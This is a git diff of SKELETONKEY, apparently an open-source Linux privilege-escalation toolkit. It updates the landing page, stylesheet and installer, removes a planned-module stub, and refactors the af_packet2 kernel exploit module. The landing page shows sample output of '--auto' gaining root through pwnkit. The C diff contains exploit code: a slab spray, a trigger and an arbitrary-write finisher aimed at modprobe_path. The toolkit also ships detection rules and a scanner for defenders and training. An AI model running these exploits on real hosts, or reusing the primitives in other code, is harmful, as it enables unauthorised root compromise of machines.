<span class="pill yellow">nft_fwd_dup</span>
|
||||
<span class="pill yellow">nft_payload</span>
|
||||
<span class="pill yellow">netfilter_xtcompat</span>
|
||||
<span class="pill yellow">af_packet</span>
|
||||
<span class="pill yellow">af_packet2</span>
|
||||
<span class="pill yellow">af_unix_gc</span>
|
||||
<span class="pill yellow">cls_route4</span>
|
||||
<span class="pill yellow">fuse_legacy</span>
|
||||
<span class="pill yellow">stackrot</span>
|
||||
<span class="pill yellow">sudo_samedit</span>
|
||||
<span class="pill yellow">sequoia</span>
|
||||
<span class="pill yellow">vmwgfx</span>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<div class="container">
|
||||
<h2>Who it's for</h2>
|
||||
<div class="cards">
|
||||
<div class="card">
|
||||
<h3>🔴 Red team / pentesters</h3>
|
||||
<p>One tested binary. <code>--auto</code> ranks vulnerable modules by safety and runs the safest. Honest scope reporting — never claims root it didn't actually get. No more curating stale PoC repos.</p>
|
||||
</div>
|
||||
<div class="card">
|
||||
<h3>🔵 Blue team / SOC</h3>
|
||||
<p>Auditd + sigma + yara + falco rules for every CVE. One command ships SIEM coverage: <code>--detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules</code>.</p>
|
||||
</div>
|
||||
<div class="card">
|
||||
<h3>🛠 Sysadmins</h3>
|
||||
<p><code>skeletonkey --scan</code> (no sudo needed) tells you which boxes still need patching. JSON output for CI gates. Fleet-scan tool included. No SaaS, no telemetry.</p>
|
||||
</div>
|
||||
<div class="card">
|
||||
<h3>🎓 CTF / training</h3>
|
||||
<p>Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. Detection rules let you practice both sides.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<div class="container">
|
||||
<h2>What it looks like</h2>
|
||||
<p class="lead"><code>--auto</code> on a vulnerable Ubuntu 22.04 box:</p>
|
||||
|
||||
<pre class="code"><span class="prompt">$</span> id
|
||||
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||
|
||||
<span class="prompt">$</span> skeletonkey --auto --i-know
|
||||
<span class="hl-muted">[*]</span> auto: host=demo kernel=5.15.0-56-generic arch=x86_64
|
||||
<span class="hl-muted">[*]</span> auto: scanning 31 modules for vulnerabilities...
|
||||
<span class="hl-green">[+]</span> auto: dirty_pipe <span class="hl-yellow">VULNERABLE</span> (safety rank 90)
|
||||
<span class="hl-green">[+]</span> auto: cgroup_release_agent <span class="hl-yellow">VULNERABLE</span> (safety rank 98)
|
||||
<span class="hl-green">[+]</span> auto: pwnkit <span class="hl-yellow">VULNERABLE</span> (safety rank 100)
|
||||
|
||||
<span class="hl-muted">[*]</span> auto: 3 vulnerable modules found. Safest is <span class="hl-accent">'pwnkit'</span> (rank 100).
|
||||
<span class="hl-muted">[*]</span> auto: launching --exploit pwnkit...
|
||||
|
||||
<span class="hl-green">[+]</span> pwnkit: writing gconv-modules cache + payload.so...
|
||||
<span class="hl-green">[+]</span> pwnkit: execve(pkexec) with NULL argv + crafted envp...
|
||||
<span class="hl-green">#</span> id
|
||||
uid=0(root) gid=0(root) groups=0(root)</pre>
|
||||
|
||||
<p style="color: var(--text-muted); font-size: 0.92rem; margin-top: 1rem">
|
||||
Safety ranking goes <strong>structural escapes</strong> →
|
||||
<strong>page-cache writes</strong> →
|
||||
<strong>userspace cred-races</strong> →
|
||||
<strong>kernel primitives</strong> →
|
||||
<strong>kernel races</strong>. The goal is to never crash a
|
||||
production box looking for root.
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<div class="container">
|
||||
<h2>The verified-vs-claimed bar</h2>
|
||||
<p class="lead">
|
||||
Most public PoC repos hardcode offsets for one kernel build and
|
||||
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||
offsets.
|
||||
</p>
|
||||
<ul class="tight">
|
||||
<li>The shared <code>--full-chain</code> finisher returns <code>EXPLOIT_OK</code> only when a setuid bash sentinel file <em>actually appears</em></li>
|
||||
<li>Modules with a primitive but no portable cred-overwrite chain default to firing the primitive + grooming the slab + recording a witness, then return <code>EXPLOIT_FAIL</code> with diagnostic</li>
|
||||
<li>Operators populate the offset table once per kernel via <code>skeletonkey --dump-offsets</code> (parses <code>/proc/kallsyms</code> or <code>/boot/System.map</code>) and upstream the entry via PR — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<div class="container">
|
||||
<h2>Quickstart commands</h2>
|
||||
|
||||
<pre class="code"><span class="cmt"># Install (x86_64 / arm64; checksum-verified)</span>
|
||||
<span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
|
||||
<span class="cmt"># What's this box vulnerable to? (no sudo)</span>
|
||||
<span class="prompt">$</span> skeletonkey --scan
|
||||
|
||||
<span class="cmt"># Pick the safest LPE and run it</span>
|
||||
<span class="prompt">$</span> skeletonkey --auto --i-know
|
||||
|
||||
<span class="cmt"># Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)</span>
|
||||
<span class="prompt">$</span> skeletonkey --detect-rules --format=auditd \
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
<span class="cmt"># Fleet scan — many hosts via SSH, aggregated JSON for SIEM</span>
|
||||
<span class="prompt">$</span> ./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
|
||||
--ssh-key ~/.ssh/id_rsa hosts.txt</pre>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section>
|
||||
<div class="container">
|
||||
<h2>Status</h2>
|
||||
<p class="lead">
|
||||
<strong>v0.5.0</strong> cut 2026-05-17. 28 verified modules build
|
||||
clean on Debian 13 (kernel 6.12) and refuse cleanly on patched
|
||||
hosts; 3 further modules (dirtydecrypt, fragnesia, pack2theroot)
|
||||
are ported from public PoCs but not yet VM-verified.
|
||||
Empirical end-to-end validation on a vulnerable-kernel VM matrix
|
||||
is the next roadmap item; until then, the corpus is best
|
||||
understood as "compiles + detects + structurally correct +
|
||||
honest on failure."
|
||||
</p>
|
||||
<p style="margin-top:1rem">
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">Read the roadmap</a>
|
||||
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">How to contribute</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<footer>
|
||||
<div class="container">
|
||||
<p>
|
||||
Each module credits the original CVE reporter and PoC author in its
|
||||
<code>NOTICE.md</code>. The research credit belongs to the people
|
||||
who found the bugs.
|
||||
</p>
|
||||
<p>
|
||||
MIT licensed ·
|
||||
<a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
||||
</p>
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
<script>
|
||||
function copyInstall(btn) {
|
||||
var cmd = document.getElementById('install-cmd').innerText.replace(/^\$\s*/, '');
|
||||
navigator.clipboard.writeText(cmd).then(function() {
|
||||
btn.textContent = 'copied!';
|
||||
btn.classList.add('copied');
|
||||
setTimeout(function() {
|
||||
btn.textContent = 'copy';
|
||||
btn.classList.remove('copied');
|
||||
}, 1500);
|
||||
});
|
||||
}
|
||||
|
||||
</script>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
+309
@@ -0,0 +1,309 @@
|
||||
/* SKELETONKEY — landing page styles */
|
||||
|
||||
* { box-sizing: border-box; }
|
||||
|
||||
:root {
|
||||
--bg: #0d1117;
|
||||
--bg-elevated: #161b22;
|
||||
--border: #30363d;
|
||||
--text: #c9d1d9;
|
||||
--text-muted: #8b949e;
|
||||
--text-dim: #6e7681;
|
||||
--accent: #58a6ff;
|
||||
--green: #3fb950;
|
||||
--yellow: #d29922;
|
||||
--red: #f85149;
|
||||
--mono: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas,
|
||||
"Liberation Mono", monospace;
|
||||
--sans: -apple-system, BlinkMacSystemFont, "Segoe UI", "Helvetica Neue",
|
||||
Arial, sans-serif;
|
||||
}
|
||||
|
||||
html, body {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background: var(--bg);
|
||||
color: var(--text);
|
||||
font-family: var(--sans);
|
||||
font-size: 16px;
|
||||
line-height: 1.6;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
}
|
||||
|
||||
a { color: var(--accent); text-decoration: none; }
|
||||
a:hover { text-decoration: underline; }
|
||||
|
||||
code, pre {
|
||||
font-family: var(--mono);
|
||||
font-size: 0.92em;
|
||||
}
|
||||
|
||||
.container {
|
||||
max-width: 920px;
|
||||
margin: 0 auto;
|
||||
padding: 2rem 1.5rem;
|
||||
}
|
||||
|
||||
/* Top nav */
|
||||
.nav {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 1rem 1.5rem;
|
||||
border-bottom: 1px solid var(--border);
|
||||
position: sticky;
|
||||
top: 0;
|
||||
background: rgba(13, 17, 23, 0.92);
|
||||
backdrop-filter: blur(6px);
|
||||
-webkit-backdrop-filter: blur(6px);
|
||||
z-index: 10;
|
||||
}
|
||||
.nav-brand {
|
||||
font-family: var(--mono);
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.04em;
|
||||
color: var(--text);
|
||||
}
|
||||
.nav-github {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 0.45rem;
|
||||
color: var(--text-muted);
|
||||
font-size: 0.95rem;
|
||||
padding: 0.35rem 0.7rem;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 6px;
|
||||
transition: all 0.15s ease;
|
||||
}
|
||||
.nav-github:hover {
|
||||
color: var(--text);
|
||||
border-color: var(--text-muted);
|
||||
text-decoration: none;
|
||||
}
|
||||
.nav-github svg { display: block; }
|
||||
|
||||
/* Hero */
|
||||
.hero {
|
||||
text-align: center;
|
||||
padding: 4rem 0 3rem;
|
||||
border-bottom: 1px solid var(--border);
|
||||
}
|
||||
.hero h1 {
|
||||
font-family: var(--mono);
|
||||
font-size: 2.5rem;
|
||||
letter-spacing: 0.05em;
|
||||
margin: 0 0 1rem;
|
||||
font-weight: 800;
|
||||
}
|
||||
.hero .tag {
|
||||
font-size: 1.2rem;
|
||||
color: var(--text-muted);
|
||||
margin: 0 auto 2rem;
|
||||
max-width: 640px;
|
||||
}
|
||||
.hero .tag strong { color: var(--text); }
|
||||
|
||||
.install-block {
|
||||
background: var(--bg-elevated);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 6px;
|
||||
padding: 1rem 1.25rem;
|
||||
margin: 0 auto 1.5rem;
|
||||
max-width: 760px;
|
||||
text-align: left;
|
||||
position: relative;
|
||||
overflow-x: auto;
|
||||
}
|
||||
.install-block pre {
|
||||
margin: 0;
|
||||
color: var(--text);
|
||||
white-space: pre;
|
||||
}
|
||||
.install-block .prompt { color: var(--green); user-select: none; }
|
||||
.install-block .copy {
|
||||
position: absolute;
|
||||
top: 0.6rem;
|
||||
right: 0.6rem;
|
||||
background: transparent;
|
||||
border: 1px solid var(--border);
|
||||
color: var(--text-muted);
|
||||
font-family: var(--mono);
|
||||
font-size: 0.78rem;
|
||||
padding: 0.25rem 0.5rem;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
transition: all 0.15s ease;
|
||||
}
|
||||
.install-block .copy:hover { color: var(--text); border-color: var(--text-muted); }
|
||||
.install-block .copy.copied { color: var(--green); border-color: var(--green); }
|
||||
|
||||
.warn {
|
||||
display: inline-block;
|
||||
margin-top: 0.5rem;
|
||||
padding: 0.4rem 0.8rem;
|
||||
background: rgba(248, 81, 73, 0.08);
|
||||
border: 1px solid rgba(248, 81, 73, 0.4);
|
||||
border-radius: 4px;
|
||||
color: var(--red);
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.cta-row {
|
||||
display: flex;
|
||||
gap: 0.75rem;
|
||||
justify-content: center;
|
||||
flex-wrap: wrap;
|
||||
margin-top: 2rem;
|
||||
}
|
||||
.btn {
|
||||
display: inline-block;
|
||||
padding: 0.65rem 1.25rem;
|
||||
border-radius: 6px;
|
||||
font-size: 0.95rem;
|
||||
font-weight: 500;
|
||||
transition: all 0.15s ease;
|
||||
border: 1px solid var(--border);
|
||||
color: var(--text);
|
||||
}
|
||||
.btn:hover { background: var(--bg-elevated); text-decoration: none; }
|
||||
.btn-primary {
|
||||
background: var(--accent);
|
||||
border-color: var(--accent);
|
||||
color: #fff;
|
||||
}
|
||||
.btn-primary:hover { background: #1f6feb; }
|
||||
|
||||
/* Sections */
|
||||
section { padding: 3rem 0; border-bottom: 1px solid var(--border); }
|
||||
section h2 {
|
||||
font-size: 1.6rem;
|
||||
margin: 0 0 1.5rem;
|
||||
letter-spacing: -0.01em;
|
||||
}
|
||||
section h3 {
|
||||
font-size: 1.1rem;
|
||||
margin: 1.5rem 0 0.75rem;
|
||||
color: var(--text);
|
||||
}
|
||||
|
||||
.lead { color: var(--text-muted); font-size: 1.05rem; max-width: 720px; }
|
||||
|
||||
/* Stats */
|
||||
.stats {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(4, 1fr);
|
||||
gap: 1rem;
|
||||
margin: 1.5rem 0;
|
||||
}
|
||||
.stat {
|
||||
background: var(--bg-elevated);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 6px;
|
||||
padding: 1.25rem;
|
||||
text-align: center;
|
||||
}
|
||||
.stat-num {
|
||||
font-family: var(--mono);
|
||||
font-size: 2rem;
|
||||
font-weight: 700;
|
||||
display: block;
|
||||
}
|
||||
.stat-num.green { color: var(--green); }
|
||||
.stat-num.yellow { color: var(--yellow); }
|
||||
.stat-label { color: var(--text-muted); font-size: 0.85rem; }
|
||||
@media (max-width: 600px) {
|
||||
.stats { grid-template-columns: repeat(2, 1fr); }
|
||||
}
|
||||
|
||||
/* Audience cards */
|
||||
.cards {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(2, 1fr);
|
||||
gap: 1rem;
|
||||
}
|
||||
.card {
|
||||
background: var(--bg-elevated);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 6px;
|
||||
padding: 1.25rem;
|
||||
}
|
||||
.card h3 { margin-top: 0; color: var(--text); }
|
||||
.card p { margin: 0.5rem 0 0; color: var(--text-muted); font-size: 0.95rem; }
|
||||
@media (max-width: 600px) {
|
||||
.cards { grid-template-columns: 1fr; }
|
||||
}
|
||||
|
||||
/* Module pills */
|
||||
.pills {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.4rem;
|
||||
margin: 0.75rem 0 1.5rem;
|
||||
}
|
||||
.pill {
|
||||
display: inline-block;
|
||||
font-family: var(--mono);
|
||||
font-size: 0.82rem;
|
||||
padding: 0.2rem 0.55rem;
|
||||
border-radius: 4px;
|
||||
border: 1px solid var(--border);
|
||||
background: var(--bg-elevated);
|
||||
color: var(--text);
|
||||
}
|
||||
.pill.green { border-color: rgba(63, 185, 80, 0.4); color: var(--green); }
|
||||
.pill.yellow { border-color: rgba(210, 153, 34, 0.4); color: var(--yellow); }
|
||||
|
||||
/* Code block */
|
||||
pre.code {
|
||||
background: var(--bg-elevated);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 6px;
|
||||
padding: 1rem 1.25rem;
|
||||
overflow-x: auto;
|
||||
font-size: 0.88rem;
|
||||
line-height: 1.55;
|
||||
color: var(--text);
|
||||
}
|
||||
pre.code .cmt { color: var(--text-dim); }
|
||||
pre.code .prompt { color: var(--green); user-select: none; }
|
||||
pre.code .hl-green { color: var(--green); }
|
||||
pre.code .hl-yellow { color: var(--yellow); }
|
||||
pre.code .hl-muted { color: var(--text-muted); }
|
||||
pre.code .hl-accent { color: var(--accent); }
|
||||
|
||||
/* Inline code */
|
||||
:not(pre) > code {
|
||||
background: var(--bg-elevated);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: 3px;
|
||||
padding: 0.1rem 0.35rem;
|
||||
font-size: 0.88em;
|
||||
}
|
||||
|
||||
/* Footer */
|
||||
footer {
|
||||
padding: 2.5rem 0;
|
||||
text-align: center;
|
||||
color: var(--text-muted);
|
||||
font-size: 0.9rem;
|
||||
}
|
||||
footer a { color: var(--text-muted); }
|
||||
|
||||
/* Subtle list styling */
|
||||
ul.tight { list-style: none; padding: 0; }
|
||||
ul.tight li {
|
||||
padding: 0.3rem 0;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
ul.tight li::before {
|
||||
content: "›";
|
||||
color: var(--accent);
|
||||
margin-right: 0.5rem;
|
||||
}
|
||||
|
||||
@media (max-width: 600px) {
|
||||
.hero h1 { font-size: 1.9rem; }
|
||||
.hero .tag { font-size: 1rem; }
|
||||
section h2 { font-size: 1.35rem; }
|
||||
.container { padding: 1.5rem 1rem; }
|
||||
}
|
||||
+19
-2
@@ -19,7 +19,12 @@
|
||||
# 0 — installed successfully
|
||||
# 1 — error (unsupported arch, download failure, permission denied)
|
||||
|
||||
set -euo pipefail
|
||||
# POSIX-friendly: -eu is universal, pipefail only on shells that
|
||||
# support it (bash, ksh, dash >= 0.5.12). Without pipefail the
|
||||
# installer still exits on the first hard error since every curl/
|
||||
# tar/install step is checked explicitly.
|
||||
set -eu
|
||||
(set -o pipefail) 2>/dev/null && set -o pipefail || true
|
||||
|
||||
REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
|
||||
VERSION="${SKELETONKEY_VERSION:-latest}"
|
||||
@@ -32,7 +37,19 @@ fail() { printf '[\033[1;31m-\033[0m] %s\n' "$*" >&2; exit 1; }
|
||||
# Detect architecture
|
||||
arch=$(uname -m)
|
||||
case "$arch" in
|
||||
x86_64|amd64) target=x86_64 ;;
|
||||
# x86_64 default: the musl-static binary works on every libc
|
||||
# (glibc 2.x of any version, musl, uclibc) — costs ~800 KB extra
|
||||
# vs the dynamic build but eliminates the GLIBC_2.NN portability
|
||||
# ceiling that bit users on Debian-stable / older RHEL hosts.
|
||||
# Set SKELETONKEY_DYNAMIC=1 to fetch the smaller dynamic build
|
||||
# (needs glibc >= 2.38, i.e. Ubuntu 24.04 / Debian 13 / RHEL 10).
|
||||
x86_64|amd64)
|
||||
if [ "${SKELETONKEY_DYNAMIC:-0}" = "1" ]; then
|
||||
target=x86_64
|
||||
else
|
||||
target=x86_64-static
|
||||
fi
|
||||
;;
|
||||
aarch64|arm64) target=arm64 ;;
|
||||
*) fail "Unsupported architecture: $arch (only x86_64 and arm64 currently)" ;;
|
||||
esac
|
||||
|
||||
@@ -1,27 +0,0 @@
|
||||
# Fragnesia — CVE pending
|
||||
|
||||
> ⚪ **PLANNED** stub. See [`../../ROADMAP.md`](../../ROADMAP.md)
|
||||
> Phase 7+.
|
||||
|
||||
## Summary
|
||||
|
||||
ESP shared-frag in-place encrypt path can be coerced into writing
|
||||
into the page cache of an unrelated file. Same primitive shape as
|
||||
Dirty Frag, different reach.
|
||||
|
||||
## Status
|
||||
|
||||
Audit-stage. See
|
||||
`security-research/findings/audit_leak_write_modprobe_backups_2026-05-16.md`
|
||||
section on backup primitives. Notably: trigger appears to require
|
||||
CAP_NET_ADMIN inside a userns netns. On kCTF (shared net_ns) that's
|
||||
cap-dead, but on host systems where user_ns clone is enabled it's
|
||||
reachable.
|
||||
|
||||
## Decision needed before implementing
|
||||
|
||||
Is the unprivileged-userns-netns scenario in scope for SKELETONKEY? If
|
||||
yes, this module ships. If we restrict to "default Linux user
|
||||
account, no namespace tricks," this module is out of scope.
|
||||
|
||||
## Not started.
|
||||
@@ -45,9 +45,6 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -55,13 +52,19 @@
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
#ifdef __linux__
|
||||
#include <sys/mman.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/syscall.h>
|
||||
@@ -72,52 +75,6 @@
|
||||
#include <linux/if_ether.h>
|
||||
#include <linux/if_arp.h>
|
||||
#include <poll.h>
|
||||
#endif
|
||||
|
||||
/* ---------- macOS / non-linux build stubs ---------------------------
|
||||
* Modules in SKELETONKEY are dev-built on macOS and run-built on Linux.
|
||||
* Provide empty stubs so syntax checks pass without Linux headers.
|
||||
* The exploit path is gated at runtime on the kernel version anyway,
|
||||
* so the stubs are never reached on macOS targets. */
|
||||
#ifndef __linux__
|
||||
#define CLONE_NEWUSER 0x10000000
|
||||
#define CLONE_NEWNET 0x40000000
|
||||
#define ETH_P_ALL 0x0003
|
||||
#define ETH_P_8021Q 0x8100
|
||||
#define ETH_P_8021AD 0x88A8
|
||||
#define ETH_P_IP 0x0800
|
||||
#define ETH_ALEN 6
|
||||
#define ETH_HLEN 14
|
||||
#define VLAN_HLEN 4
|
||||
#define IFF_UP 0x01
|
||||
#define IFF_RUNNING 0x40
|
||||
#define SIOCSIFFLAGS 0x8914
|
||||
#define SIOCGIFINDEX 0x8933
|
||||
#define SIOCGIFFLAGS 0x8913
|
||||
#define SOL_PACKET 263
|
||||
#define PACKET_RX_RING 5
|
||||
#define PACKET_VERSION 10
|
||||
#define PACKET_QDISC_BYPASS 20
|
||||
#define TPACKET_V2 1
|
||||
#define PACKET_HOST 0
|
||||
struct sockaddr_ll { unsigned short sll_family; unsigned short sll_protocol; int sll_ifindex; int dummy; };
|
||||
struct ifreq { char name[16]; union { int ifr_ifindex; short ifr_flags; } u; };
|
||||
struct tpacket_req { unsigned int tp_block_size, tp_block_nr, tp_frame_size, tp_frame_nr; };
|
||||
struct tpacket2_hdr { unsigned int tp_status, tp_len, tp_snaplen; unsigned short tp_mac, tp_net; };
|
||||
struct pollfd { int fd; short events, revents; };
|
||||
#define POLLIN 0x001
|
||||
__attribute__((unused)) static int ioctl(int a, unsigned long b, ...) { (void)a; (void)b; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static void *mmap(void *a, size_t b, int c, int d, int e, long f) { (void)a;(void)b;(void)c;(void)d;(void)e;(void)f; errno=ENOSYS; return (void*)-1; }
|
||||
__attribute__((unused)) static int munmap(void *a, size_t b) { (void)a;(void)b; return -1; }
|
||||
__attribute__((unused)) static int setsockopt(int a, int b, int c, const void *d, unsigned int e) { (void)a;(void)b;(void)c;(void)d;(void)e; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static int poll(struct pollfd *a, unsigned long b, int c) { (void)a;(void)b;(void)c; errno=ENOSYS; return -1; }
|
||||
__attribute__((unused)) static unsigned short htons(unsigned short x) { return x; }
|
||||
#define MAP_SHARED 0x01
|
||||
#define MAP_LOCKED 0x2000
|
||||
#define PROT_READ 0x1
|
||||
#define PROT_WRITE 0x2
|
||||
#define MAP_FAILED ((void *)-1)
|
||||
#endif
|
||||
|
||||
static const struct kernel_patched_from af_packet2_patched_branches[] = {
|
||||
{4, 9, 235},
|
||||
@@ -135,53 +92,44 @@ static const struct kernel_range af_packet2_range = {
|
||||
sizeof(af_packet2_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_packet2: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_packet2: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 4.6 (tpacket_rcv VLAN path). Pre-4.6 immune. */
|
||||
if (v.major < 4 || (v.major == 4 && v.minor < 6)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 6, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet2: kernel %s predates the bug (introduced in 4.6)\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&af_packet2_range, &v);
|
||||
bool patched = kernel_range_is_patched(&af_packet2_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] af_packet2: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] af_packet2: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] af_packet2: user_ns+net_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet2: user_ns denied → unprivileged exploit unreachable\n");
|
||||
}
|
||||
@@ -223,8 +171,6 @@ static skeletonkey_result_t af_packet2_detect(const struct skeletonkey_ctx *ctx)
|
||||
* the primitive. It does not land cred overwrite.
|
||||
*/
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
/* sendmmsg spray helper — best-effort skb groom. Adjacent kernel slab
|
||||
* objects are sprayed so the OOB write lands on attacker bytes. */
|
||||
static void af_packet2_skb_spray(int n_iters)
|
||||
@@ -440,15 +386,6 @@ static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
|
||||
return 0;
|
||||
}
|
||||
|
||||
#else /* !__linux__: provide a stub for macOS sanity builds */
|
||||
static int af_packet2_primitive_child(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet2: linux-only primitive — non-linux build\n");
|
||||
return -1;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ---- Full-chain finisher (--full-chain, x86_64 only) ----------------
|
||||
*
|
||||
* Arb-write strategy (Or Cohen's sk_buff-data-pointer hijack):
|
||||
@@ -490,7 +427,7 @@ struct afp2_arb_ctx {
|
||||
int n_attempts; /* spray/fire rounds before giving up */
|
||||
};
|
||||
|
||||
#if defined(__x86_64__) && defined(__linux__)
|
||||
#if defined(__x86_64__)
|
||||
static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
|
||||
{
|
||||
struct afp2_arb_ctx *c = (struct afp2_arb_ctx *)vctx;
|
||||
@@ -508,9 +445,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
||||
* frame would then write our payload (the modprobe_path string)
|
||||
* into the forged ->data target. */
|
||||
for (int i = 0; i < c->n_attempts; i++) {
|
||||
#ifdef __linux__
|
||||
af_packet2_skb_spray(8);
|
||||
#endif
|
||||
pid_t p = fork();
|
||||
if (p < 0) return -1;
|
||||
if (p == 0) {
|
||||
@@ -535,9 +470,7 @@ static int afp2_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vc
|
||||
}
|
||||
int st;
|
||||
waitpid(p, &st, 0);
|
||||
#ifdef __linux__
|
||||
af_packet2_skb_spray(8);
|
||||
#endif
|
||||
}
|
||||
|
||||
/* LAST-RESORT depth: we have fired the trigger + spray but cannot
|
||||
@@ -572,8 +505,11 @@ static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* 2. Refuse if already root. */
|
||||
if (geteuid() == 0) {
|
||||
/* 2. Refuse if already root. Consult ctx->host first so unit tests
|
||||
* can construct a non-root fingerprint regardless of the test
|
||||
* process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] af_packet2: already running as root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -664,7 +600,7 @@ static skeletonkey_result_t af_packet2_exploit(const struct skeletonkey_ctx *ctx
|
||||
